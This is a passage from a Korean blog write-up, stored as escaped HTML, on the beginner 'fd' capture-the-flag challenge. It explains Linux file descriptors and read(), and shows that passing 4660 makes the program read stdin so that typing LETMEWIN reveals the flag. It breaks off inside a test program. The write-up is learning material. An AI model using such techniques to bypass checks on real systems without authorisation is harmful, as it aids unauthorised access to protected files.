14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buf에 저장된 문자열이 &quot;LETMEWIN\n&quot;이면 &quot;good job :)\n&quot;을 출력하고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd_pwn의 권한으로 flag 파일의 내용을 보여주고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcmp(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;LETMEWIN\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf)){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;good&amp;nbsp;job&amp;nbsp;:)\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;learn about Linux file IO\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;lean&amp;nbsp;about&amp;nbsp;Linux&amp;nbsp;file&amp;nbsp;IO\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd 문제를 풀기 위해서 File Descriptor와 read 함수에 대해 알아봐야 할 것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;File Descriptor&lt;/span&gt;는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;시스템으로부터 할당 받을 파일(소켓)을 대표하는 정수 값으로 생각&lt;/span&gt;하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;시스템이 열려 있는 파일에 접근하기 쉽게 하도록 사용자에게 파일에 번호를 붙여 알려준다고 생각하면 이해하기 쉬울 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;File Descriptor는 최대 1,024까지 생성 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;프로세스가 메모리에 올라갈 때 프로세스마다 fd의 번호가 미리 배정되어 있는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;0, 1, 2이 사전 배정&lt;/span&gt; 되어있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A8D14A5BD9623A0C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A8D14A5BD9623A0C&quot; width=&quot;1000&quot; height=&quot;206&quot; filename=&quot;이미지 018.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 0,1,2 번이 미리 배정되어 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;read() 함수&lt;/span&gt;에 대해 알아보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;ssize_t read(int fd, void *buf, size_t bytes)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;int fd: Data를 전송할 대상을 가리키는 File Descriptor.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;void *buf: 파일을 읽어들여 저장 할 buffer이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;size_n bytes:&amp;nbsp;읽어 들일 byte의 수.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;함수 실행에 성공하면 읽어들인 byte의 수, 함수 실행에 실패하면 -1을 반환한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd를 0으로 설정해, 표준 입력 스트림으로 입력 받은 데이터를 buffer로 옮겨 비교하면 flag를 얻을 수 있을 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x1234는 10진수로 4660이다. argument를 4660으로 주어 &quot;LETMEWIN\n&quot;을 입력하면 flag를 얻을 수 있을것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 682px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9979734B5BD99CDF2D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9979734B5BD99CDF2D&quot; width=&quot;682&quot; height=&quot;84&quot; filename=&quot;이미지 019.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;-----------------------------------------------------------&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;-----------------------------------------------------------&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;추가적으로 fd가 0, 1, 2에 상관없이 입력을 받는것을 확인했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read 함수를 보면 fd가 가리키는 대상을 읽어오는 것이기 때문에 fd가 0,1,2 일 때 모두 stream을 가리키기 때문에 키보드 입력이 가능한것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이제 궁금증이.. read(fd, buf, 32) 함수를 실행할 때, fd가 가리키는 곳을 32 byte 읽어들여 buf에 저장하는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;근데 왜.. stream은 비어있는데, 사용자로부터 값을 입력받을까..?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stream을 읽으려고 할때, stream이 비어있으면 사용자로부터 값을 읽어들이는건가...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;stdin&lt;/span&gt;일 때 read할 경우.. 잘 작동..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(read(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 